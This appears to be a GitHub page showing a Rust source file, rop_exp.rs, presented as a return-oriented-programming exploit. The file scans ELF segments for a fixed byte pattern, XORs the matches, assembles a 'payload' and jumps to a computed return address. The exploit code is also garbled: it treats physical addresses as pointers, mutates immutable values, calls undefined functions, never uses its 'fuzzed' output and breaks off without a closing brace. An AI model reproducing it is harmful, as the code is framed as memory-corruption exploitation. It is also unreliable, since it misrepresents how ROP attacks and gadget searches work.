-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathrop_exp.rs
92 lines (90 loc) · 2.38 KB
/
rop_exp.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
extern crate libc;
extern crate elf;
use std::os::raw::c_int;
use elf::header::EHdr;
use elf::program::PT_LOAD;
use libc::{c_void, memcpy};
struct RopGadget {
address: usize,
inst_size: usize,
code: Vec<u8>,
bytes: Vec<u8>
}
fn find_rop_gadgets(ephdr: &EHdr) -> Vec<RopGadget> {
let mut gadgets: Vec<RopGadget> = Vec::new();
for prog_hdr in ephdr.program_iter() {
if prog_hdr.p_type == PT_LOAD {
let mut blob: Vec<u8> = vec![0; prog_hdr.p_filesz as usize];
unsafe{
memcpy(blob.as_mut_ptr() as *mut c_void, prog_hdr.p_paddr as *mut c_void, prog_hdr.p_filesz as usize);
}
for i in 0..(blob.len()-3) {
let instructions = [0x31, 0xc0, 0x48, 0xbb, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x05];
let mut found = false;
for (j,instr) in instructions.iter().enumerate() {
if blob[i+j] == *instr {
found = true;
} else {
found = false;
break;
}
}
if found {
let mut code: Vec<u8> = Vec::new();
let mut bytes: Vec<u8> = Vec::new();
let mut size: usize = 0;
for j in 0..(instructions.len()-2) {
code.push(blob[i+j]);
size += 1;
bytes.push(blob[i+j]);
}
let rop_gadget: RopGadget = RopGadget{
address: i,
inst_size: size,
code: code,
bytes: bytes
};
gadgets.push(rop_gadget);
}
}
}
}
gadgets
}
fn fuzz_gadgets(gadgets: &Vec<RopGadget>, fuzz_val: u8) -> Vec<RopGadget> {
let mut fuzzed_gadgets: Vec<RopGadget> = Vec::new();
for g in gadgets {
let mut code: Vec<u8> = Vec::new();
for c in 0..g.inst_size {
code.push(g.code[c]^fuzz_val);
}
let fuzzed_gadget: RopGadget = RopGadget{
address: g.address,
inst_size: g.inst_size,
code: code,
bytes: g.bytes
};
fuzzed_gadgets.push(fuzzed_gadget);
}
fuzzed_gadgets
}
fn rop_exp() {
let elf_hdr = read_ephdr_from(&filename);
let gadgets = find_rop_gadgets(&elf_hdr);
let fuzz_val = 0x1;
let fuzzed_gadgets = fuzz_gadgets(&gadgets, fuzz_val);
let ret_address: usize = 0;
let payload: Vec<u8> = Vec::new();
for g in fuzzed_gadgets {
payload.extend(g.bytes);
if g.inst_size > 9 {
ret_address = g.address + g.inst_size + 1;
}
}
println!("Exploitation complete, payload length: {}", payload.len());
println!("Return address: 0x{:x}", ret_address);
unsafe {
let ret_fn = ret_address as *const c_void;
let ret_fn_cast = mem::transmute::<*const c_void, extern "C" fn()>(ret_fn);
ret_fn_cast();
}